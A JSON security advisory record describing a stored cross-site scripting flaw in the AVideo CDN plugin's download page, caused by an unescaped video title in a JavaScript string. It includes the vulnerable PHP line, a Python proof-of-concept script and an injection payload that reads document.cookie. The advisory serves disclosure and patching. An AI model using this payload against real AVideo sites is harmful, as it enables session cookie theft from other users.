{"id":"GHSA-gc3m-4mcr-h3pv","aliases":["CVE-2026-33295"],"title":"AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php","description":"### Summary\n\nWWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.\n\n### Details\n\nAt line 59 of the affected file, the following PHP code constructs a JavaScript function call:\n\n```php\ndownloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress);\n```\n\nThe `clean_title` value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with `json_encode` or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The `clean_title` field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.\n\n### PoC\n\n```python\nimport requests\n\ntarget = \"https://example.com\"\nlogin_url = f\"{target}/user\"\nupload_url = f\"{target}/video/addNew\"\n\nsession = requests.Session()\n\nsession.post(login_url, data={\n    \"user[user]\": \"attacker\",\n    \"user[pass]\": \"attackerpassword\"\n})\n\nmalicious_title = \"');alert(document.cookie);//\"\n\nsession.post(upload_url, data={\n    \"title\": malicious_title,\n    \"description\": \"poc\"\n})\n```\n\nAfter the video is created, navigate to:\n\n```\nhttps://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID>\n```\n\nThe rendered page will contain:\n\n```javascript\ndownloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);\n```\n\n### Impact\n\nAny user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.","severity":"high","score":8.2,"published":"2026-03-19T17:12:19.000Z","modified":"2026-03-25T19:47:55.393Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"wwbn/avideo","ranges":[{"events":[{"introduced":"0"},{"last_affected":"25.0"}],"type":"ECOSYSTEM"}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"fixed":[]}],"references":["https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv","https://nvd.nist.gov/vuln/detail/CVE-2026-33295","https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833","https://github.com/WWBN/AVideo"],"sources":[{"name":"OSV","id":"GHSA-gc3m-4mcr-h3pv","modified":"2026-03-25T19:47:55.393333Z","url":"https://osv.dev/vulnerability/GHSA-gc3m-4mcr-h3pv"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","score":8.2}]}